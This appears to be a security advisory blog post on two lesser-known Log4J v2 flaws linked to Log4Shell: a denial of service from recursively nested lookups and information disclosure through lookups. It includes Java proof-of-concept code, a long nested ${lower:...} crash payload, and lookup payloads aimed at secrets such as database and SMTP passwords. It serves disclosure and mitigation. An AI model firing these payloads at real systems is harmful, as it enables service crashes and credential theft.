Table of Contents<\/a>Introduction<\/a>About Log4J, Log4Shell and Related CVEs<\/a>String Interpolation, Java EE and How They Intersect<\/a>Technical Details \u2013 Vulnerability #1 \u2013 Denial of Service<\/a>Exploit example<\/a>Technical Details \u2013 Vulnerability #2 \u2013 Information Disclosure<\/a>Exploit example<\/a>Vendor Response \/ Disclosure Details<\/a>References<\/a>Acknowledgements<\/a>Timeline<\/a><\/p>\n The original four Log4shell vulnerabilities in Log4J v2 that were discovered and patched in December of 2021 included two additional vulnerabilities that were not publicly known at the time: a denial of service and an information disclosure. The root cause of these issues is other string lookups in the Log4J library. These were publicly disclosed by the vendor in September 2022 via documentation updates and are considered by the vendor part of these original four issues, so no code changes are planned and no new CVEs were issued.<\/p>\n Previously recommended mitigations that were widely used (such as removing the JNDiLookup class) are insufficient to fix these issues and users running these mitigations should update as soon as possible to patched version. Systems that provide access to the Log4J configuration files remain vulnerable.<\/p>\n Logging is a fundamental requirement in software development. While Java provided a logging API since Java 1.4 (2002), Log4J existed since 1999 and offers a lot more features. It is also more popular than other frameworks leading to Log4J being used in a lot of Java applications. In December 2021, a number of serious security vulnerabilities were disclosed and patched in Log4J, with the most critical one allowing a remote attacker achieve remote code execution.<\/p>\n These included:<\/p>\n CVE-2021-44228<\/strong> (CVSS 10.0) aka \u201cLog4Shell\u201d \u2013 \u201dallows Lookup expressions in the data being logged exposing the JNDI vulnerability\u201d<\/p>\n CVE-2021-45046<\/strong> (CVSS 10.0) \u2013 \u201cWhen the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern\u201d<\/p>\n CVE-2021-44832<\/strong> (CVSS 6.6) \u2013 \u201can attacker with permission to modify the logging configuration file can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI\u201d<\/p>\n CVE-2021-45105<\/strong> (CVSS 5.9) \u2013 \u201cdid not protect from uncontrolled recursion from self-referential lookups. When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process.\u201c\u00a0<\/p>\n The timeline of the disclosure for these issues is as follows (from CSRB public report<\/a>, page 3):<\/p>\n The core cause for these four issues are from string lookups which enabled attackers to inject unvalidated data into an application and exploit lookups, similar to SQL injection. The most severe of these exploits enables attackers to load code from a remote server via JNDI and execute it (RCE) \u2013 aka Log4Shell.<\/p>\n An example payload for Log4shell via the JNDI lookup type:<\/p>\n Here is an illustration of a Log4J attack pattern (from the HHS report,<\/a> page 19):<\/p>\n The patches were released according to the following timeline:<\/p>\n DateVersion ReleasedCVEs FixedNotes2021-12-102.15.0*CVE-2021-44228Fix for main Log4Shell issue, disables lookups but allows them to be-re-enabled via a property2021-12-132.16.0*CVE-2021-45046Fix for context lookups issue; disables lookups for logged data2021-12-182.17.0CVE-2021-45105Fix for denial of service issue; disables most recursive lookups2021-12-282.17.1CVE-2021-44832Fix for configuration file issue; limits JNDI context URL to \u201cjava\u201d<\/p>\n Shortly after these releases, Amazon\u2019s Corretto Team released a hotpatch containing fixes for these two issues that could be applied to a running JVM as an agent (see blog post<\/a> and GitHub repository<\/a>). Other issues were not covered by the hotpatch.<\/em><\/p>\n As of December 2021, the following mitigations were recommended by the vendor (Apache) if users were unable to upgrade (see archived security page from Jan 2022<\/a>):<\/p>\n Log4Shell issues (CVE-2021-44228 and CVE-2021-45046)<\/strong> \u2013 \u201cremove the JndiLookup class from the classpath\u201dOtherwise, in any release other than 2.16.0, you may remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class<\/em>\u201d<\/p>\n See also the hotpatch option above<\/p>\n For context lookup related issues (CVE-2021-45046 and CVE-2021-45105):<\/strong><\/p>\n \u201cIn PatternLayout in the logging configuration, replace Context Lookups like ${ctx:loginId} or $${ctx:loginId} with Thread Context Map patterns (%X, %mdc, or %MDC).\u201d<\/em><\/p>\n \u201cOtherwise, in the configuration, remove references to Context Lookups like ${ctx:loginId} or $${ctx:loginId} where they originate from sources external to the application such as HTTP headers or user input.\u201d<\/em><\/p>\n One of the features found in Log4J and other Java libraries is property substitutions (aka lookups or message interpolation). They enable placeholders like ${xxx:yyy} to be replaced with other values, similar to shell and programming languages. In Log4J, lookups are used to make configuration easier and are meant to be used in configuration files, not in data being logged. They were added<\/a> to Log4J in v2.0 (October 2010). At some point, lookups were changed to allow interpolation against in incoming data being logged (most likely<\/a> in October 2011). Over time additional lookup classes were added \u2013 and JNDI lookups were added<\/a> in July 2013. The JNDI code connects to the Java EE legacy code from 1990s. <\/p>\n Unfortunately, if not used properly, this functionality can lead to security issues. The root cause for these issues is that there were multiple systems that should not have been connected:<\/p>\n String lookups in config files.<\/p>\n Processing of incoming log messages with untrusted data.<\/p>\n Legacy 1990s Java EE\/JNDI code.<\/p>\n The following is the code from the MessagePatternConverter<\/a> class which processes incoming log messages. As you can see, it looks for \u201c$\u201d and passes the call to the StrSubstitutor class:<\/p>\n for (int i = offset; i < workingBuilder.length() – 1; i++) { The StrSubstitutor<\/strong> class is the main entry point into lookup functionality within Log4J. It relies on the StrLookup<\/strong> interface which is implemented by many classes, each providing different type of lookup (most are in the org.apache.logging.log4j.core.lookup<\/a> package). These get loaded via a plugin architecture<\/a> and create connections to other components (custom lookups are also supported). One of the lookups provides Java Naming and Directory Interface (JNDI) support \u2013 as implemented in the JNDILookup class.<\/p>\n The following is the StrLookup interface<\/a> which provides a simple way to do lookups:<\/p>\n public interface StrLookup { And this code in the JNDILookup<\/a> class creates a bridge between lookups and the legacy JNDI (Java EE) code still lingering in Java:<\/p>\n public String lookup(final LogEvent event, final String key) { Many of string lookup types in Log4J are recursive and can be nested inside other lookups (see code here<\/a>). Each nested function call uses part of Java\u2019s stack memory which is distinct from the main (heap) memory used for majority of processing. Stack memory is configured via the \u201c-Xss\u201d parameter and defaults to anywhere between 1 MB to 1 GB depending on OS and Java version. Exceeding this memory will result in a StackOverFlowError. <\/p>\n While recursive lookups are mentioned in CVE-2021-45105, that CVE was thought to be limited to non-standard configurations involving context lookups. However, it actually turns out that this issue can be exploited in default configurations similar to the way Log4Shell by sending a malicious payload to system that will try to log it. This was fixed when lookups were disabled, however, previous versions and any systems exposing the Log4J configuration remain vulnerable in default configurations<\/strong>. A recursive payload sent to an impacted application will be processed by Log4J recursively until the application runs out of stack memory.<\/p>\n You can check the size of the stack memory in Java via the following command:<\/p>\n > java -XX:+PrintFlagsFinal -version | grep ThreadStackSize The attack is blind and does not require the attack to receive any kind of output from the system as follows:<\/p>\n The payload size required to crash the JVM depends on the stack memory configuration. The following payload sizes were tested on JDK 17:<\/p>\n Stack Memory Size (-Xss)Number of Nested Rounds to CrashPayload Size144 kb (minimum)1001 kb1,024 kb (default)3,00027 kb1 GB (maximum)18,000162 kb<\/p>\n Code to test the exploit:<\/p>\n import org.apache.logging.log4j.LogManager;\u00a0<\/p>\n public class Test { Example of malicious payload:<\/p>\n ${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${java:runtime}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}} }}}}}}}}}}}}}}}}}}}}}}}}}}<\/p>\n In a normal version, the inner lookup ( ${java:runtime} ) will return the build information about the JVM while the outer lookups ( ${lower:xxx} ) will convert the information to lower case as follows:<\/p>\n Payload size: 915 However, in a Java configuration with not enough memory and vulnerable Log4J version, it will crash as follows:<\/p>\n Payload size: 915 The JNDI lookup turned out to be dangerous \u2013 but it\u2019s just one of the many lookup types available in Log4J. While fixes for Log4Shell disable lookup interpolation in log messages, in versions prior to 2.15 all lookups are available. Even today, in most recent versions lookups are still available in configuration files \u2013 even for latest versions of Log4J (since access to the configuration files is outside the threat model for the project). Additionally, lookups remain available if the JNDILookup class is removed (as per recommended mitigation back in 2021). This was a common mitigation to avoid upgrading Log4J library.<\/p>\n In these three scenarios (versions prior to 2.15, versions with JNDILookup class removed or any version with access to the configuration files), other lookup types remain available and can leak information about the underlying system. <\/strong><\/p>\n The following lookup types are available in Log4J (see documentation<\/a>):<\/p>\n PatternDescriptionPatternDescription${bundle:xxx:xxx}<\/strong>Resource bundles${log4j:xxx}<\/strong>Log4J configuration properties${ctx:xxx}<\/strong>Thread context map${lower:xxx}<\/strong>Converts to lower case${date:xxx}<\/strong>Date\/time${main:xxx}<\/strong>Executable arguments \/ main()${docker:xxx}<\/strong>Docker attributes${map:xxx}<\/strong>Map lookup${env:xxx}<\/strong>Environment variables${marker:xxx}<\/strong>Markers${event:xxx}<\/strong>Log event object fields${spring:xxx}<\/strong>Spring properties${java:xx}<\/strong>Java runtime information${sd:xxx}<\/strong>Structured data${jndi:xxx}<\/strong>JNDI remote lookups{sys:xxx}<\/strong>System properties${jvmrunargs:xxx}<\/strong>JVM runtime args (JMX only)${upper:xxx}<\/strong>Converts to upper case${k8s:xxx}<\/strong>Kubernetes container information${web:xxx}<\/strong>Servlet context variables\/attributes<\/p>\n Many of the available lookups return information such as environment variables, system properties, Spring properties, runtime information, secrets, etc. Lookups that return data such as runtime attributes can be used for initial information gathering by a third party. However, most of the lookups do not support wildcards \u2013 the name of the variable, property, etc. being retrieved must be known.<\/p>\n Furthermore,\u00a0 access to the logs is required to read the information from these lookups so the attacker will not be able to execute this attack blindly. Scenarios with access would include error messages or cloud\/SAAS applications where users have access to the result logs. Example of such scenario:<\/p>\n Payload examples:<\/p>\n PatternDescription${env:POSTGRES_PASSWORD}Postgres password stored in an environment variable${log4j:log4j2.trustStorePassword}Keystore password from Log4J properties${spring:spring.mail.password}SMTP password from Spring${docker:containerName}Container name in Docker${k8s:masterUrl}Kubernetes Master URL${java:runtime}Runtime information about the JVM<\/p>\n Code to test the exploit:<\/p>\n import org.apache.logging.log4j.LogManager;<\/p>\n public class Test2 { In a patched version, the lookup will not work since all lookups are disabled and the following output will be produced:<\/p>\n > javac -classpath log4j-api-2.20.0.jar:log4j-core-2.20.0.jar Test2.java> java -classpath log4j-api-2.20.0.jar:log4j-core-2.20.0.jar:. Test2 In a vulnerable version, Log4J will return information about the system via the lookup:<\/p>\n > javac -classpath log4j-api-2.14.1.jar:log4j-core-2.14.1.jar Test2.java> java -classpath log4j-api-2.14.1.jar:log4j-core-2.14.1.jar:. Test2 This issue was publicly disclosed by Apache \/ Log4J project in September 2022 part of the Log4J v2.19 release. This was done via an update to the security page (see archived security page<\/a> and Git update<\/a>). Because the Log4J project considers these to be part of CVE-2021-45046 and CVE-2021-44228, as well as being fixed in previous releases, no new CVEs were issued and no code changes were made. At this of writing (June 2025), the CVE descriptions were not fully updated in NVD \/ CVE database but do appear on the Log4J security page. The previous mitigation information about removing the JNDILookup class has been removed from the Log4J security page.<\/p>\n NOTE: many vendors using Log4J in their products publicly advertised the removal of the JNDILookup class as a mitigation. For those vendors, if they have not upgraded \u2013 then they remain vulnerable to the two issues in this post. Additionally, products\/services allowing access to the Log4J config files remain vulnerable even in the most recent versions.<\/strong><\/p>\n Screenshots from the Git update<\/a>:<\/p>\n <\/strong>Vulnerable Versions and Mitigations<\/strong><\/p>\n The following versions of Log4J are impacted:<\/p>\n All versions of Log4J v2 prior to v2.15 except for v2.12.2-4 (Java 7) and v2.3.1-2 (Java 6).<\/p>\n In versions v2.15, v2.12.2 (Java 7) and v2.3.1 (Java 6), lookups in log messages are disabled by default but can be re-enabled. If lookups are re-enabled or context lookups are used (CVE-2021-45046), these versions are impacted.<\/p>\n Versions v2.16+, v2.12.3+ (Java 7) and v2.3.2 (Java 6) remain vulnerable if access is granted<\/strong> to the configuration files<\/p>\n Log4J v1 should not be impacted except when JMSAppender is used (see CVE-2021-4104)<\/p>\n Users should upgrade to a version that disables lookups entirely against log messages \u2013 v2.16+, v2.12.3 (Java 7) or v2.3.2 (Java 6).\u00a0 Other tools such as WAF and IDS systems should be updated with signatures that look for patterns to detect these issues<\/p>\n For users unable to upgrade, prior mitigations recommended by the vendor will not protect against these issues. While it might be possible to backport existing patches to disable lookups, this it not recommended. Other public mitigations such as the Java hotpatch agent referenced above do not address these issue.<\/p>\n Access to Log4J configuration files should not be allowed \u2013 lookups are still available in configuration files and there might be other attack vectors. Note that as of February 2023<\/a>, security reports assuming access to the Log4J configuration \u201cno longer qualify as vulnerabilities\u201d<\/p>\n Apache Log4J Github Repository<\/strong> (Mirror): https:\/\/github.com\/apache\/logging-log4j2<\/a><\/p>\n Apache Log4J Security Page<\/strong>: https:\/\/logging.apache.org\/security.html<\/a><\/p>\n \u201cCSRB Review of the December 2021 Log4j Event<\/strong>\u201d (published July 11th 2022): https:\/\/www.cisa.gov\/resources-tools\/resources\/csrb-review-december-2021-log4j-event<\/a><\/p>\n \u201cHHS Report: Log4J Vulnerabilities and the Health Sector<\/strong>\u201d (published January 20th, 2022): https:\/\/asprtracie.hhs.gov\/technical-resources\/resource\/11132\/log4j-vulnerabilities-and-the-health-sector<\/a> <\/p>\n CVE-2021-44228<\/strong><\/a> \u2013 \u201cJNDI lookup can be exploited to execute arbitrary code loaded from an LDAP server\u201d<\/p>\n CVE-2021-44832<\/strong><\/a> \u2013 \u201cRemote code execution (RCE) attack when a configuration uses a JDBC Appender with a JNDI LDAP data source\u201d<\/p>\nIntroduction<\/h2>\n
About Log4J, Log4Shell and Related CVEs<\/strong><\/h3>\n
String Interpolation, Java EE and How They Intersect<\/strong><\/h3>\n
if (workingBuilder.charAt(i) == ‘$’ && workingBuilder.charAt(i + 1) == ‘{‘) {
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}<\/p>\n
String CATEGORY = “Lookup”;
String lookup(LogEvent event, String key);
}<\/p>\n
if (key == null) {
return null;
}
final String jndiName = convertJndiName(key);
try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {
return Objects.toString(jndiManager.lookup(jndiName), null);
} catch (final NamingException e) {
\u2026<\/p>\nTechnical Details \u2013 Vulnerability #1 \u2013 Denial of Service<\/strong><\/h2>\n
\u00a0\u00a0\u00a0intx ThreadStackSize\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 = 1024<\/p>\nExploit example<\/strong><\/h3>\n
\u00a0\u00a0\u00a0public static void main(String[] args) {
\u00a0\u00a0\u00a0\u00a0\u00a0int rounds = 100;
\u00a0\u00a0\u00a0\u00a0\u00a0String payload = “${lower:”.repeat(rounds) +
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0“${java:runtime}” +
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0“}”.repeat(rounds);
\u00a0\u00a0\u00a0\u00a0\u00a0System.out.println(“Payload size: ” + payload.length());
\u00a0\u00a0\u00a0\u00a0\u00a0LogManager.getRootLogger().error(payload);
\u00a0\u00a0\u00a0\u00a0}
}<\/p>\n
22:25:59.991 [main] ERROR\u00a0 – openjdk runtime environment (build 17.0.7+7-lts)<\/p>\n
Exception in thread “main” java.lang.StackOverflowError at java.base\/java.lang.AbstractStringBuilder.checkRangeSIOOBE(AbstractStringBuilder.java:1809) at java.base\/java.lang.AbstractStringBuilder.getChars(AbstractStringBuilder.java:508) at java.base\/java.lang.StringBuilder.getChars(StringBuilder.java:91) at org.apache.logging.log4j.core.lookup.StrSubstitutor.getChars(StrSubstitutor.java:1401) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:939) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:978) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:978)<\/p>\nTechnical Details \u2013 <\/strong>Vulnerability #2 \u2013 Information Disclosure<\/strong><\/h2>\n
Exploit example<\/strong><\/h3>\n
\u00a0\u00a0\u00a0public static void main(String[] args) {
\u00a0\u00a0\u00a0\u00a0\u00a0String payload = “${java:runtime}”;
\u00a0\u00a0\u00a0\u00a0\u00a0LogManager.getRootLogger().error(payload);
\u00a0\u00a0\u00a0}
}<\/p>\n
12:39:48.062 [main] ERROR\u00a0 – ${java:runtime}<\/p>\n
12:39:19.843 [main] ERROR\u00a0 – OpenJDK Runtime Environment (build 17.0.8+7-LTS)<\/p>\nVendor Response \/ Disclosure Details<\/h2>\n
References<\/h3>\n